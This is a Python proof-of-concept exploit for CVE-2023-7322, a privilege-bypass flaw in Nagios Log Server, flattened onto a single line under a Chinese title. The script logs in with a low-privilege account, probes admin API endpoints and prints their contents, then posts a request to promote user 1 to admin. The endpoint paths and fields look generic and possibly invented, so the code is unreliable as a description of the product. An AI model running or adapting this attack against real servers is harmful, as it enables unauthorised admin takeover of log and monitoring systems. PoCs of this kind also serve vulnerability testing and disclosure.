CVE-2023-7322 Nagios Log Server 权限绕过漏洞

import requests import json # CVE-2023-7322 PoC - Nagios Log Server Incorrect Authorization # Target: Nagios Log Server < 2024R1 # Vulnerability: Authenticated users can invoke privileged API endpoints TARGET_URL = "http://target-nagios-log-server.local" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit_cve_2023_7322(): """ PoC demonstrates privilege escalation via incorrect authorization. Low-privilege authenticated users can access admin API endpoints. """ session = requests.Session() # Step 1: Authenticate with low-privilege account login_url = f"{TARGET_URL}/api/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data, verify=False) if response.status_code != 200: print(f"[-] Authentication failed: {response.status_code}") return False print("[+] Successfully authenticated with low-privilege account") # Step 2: Attempt to access privileged API endpoint (should require admin permissions) # Example: Get all users or system configuration privileged_endpoints = [ "/api/admin/users", "/api/admin/config", "/api/admin/settings", "/api/v1/system/info" ] for endpoint in privileged_endpoints: api_url = f"{TARGET_URL}{endpoint}" response = session.get(api_url, verify=False) if response.status_code == 200: print(f"[CRITICAL] VULNERABLE: {endpoint} accessible with low privileges") print(f"Response: {response.text[:500]}") elif response.status_code == 403: print(f"[-] Protected: {endpoint} - Access denied (expected behavior)") else: print(f"[!] Unexpected response from {endpoint}: {response.status_code}") # Step 3: Example - Modify resources beyond intended rights modify_url = f"{TARGET_URL}/api/admin/users/modify" modify_data = { "user_id": 1, "role": "admin", "action": "escalate_privileges" } response = session.post(modify_url, json=modify_data, verify=False) if response.status_code == 200: print("[CRITICAL] Successfully modified privileged resource!") return True return False if __name__ == "__main__": print("CVE-2023-7322 PoC - Nagios Log Server Incorrect Authorization") print("=" * 60) exploit_cve_2023_7322()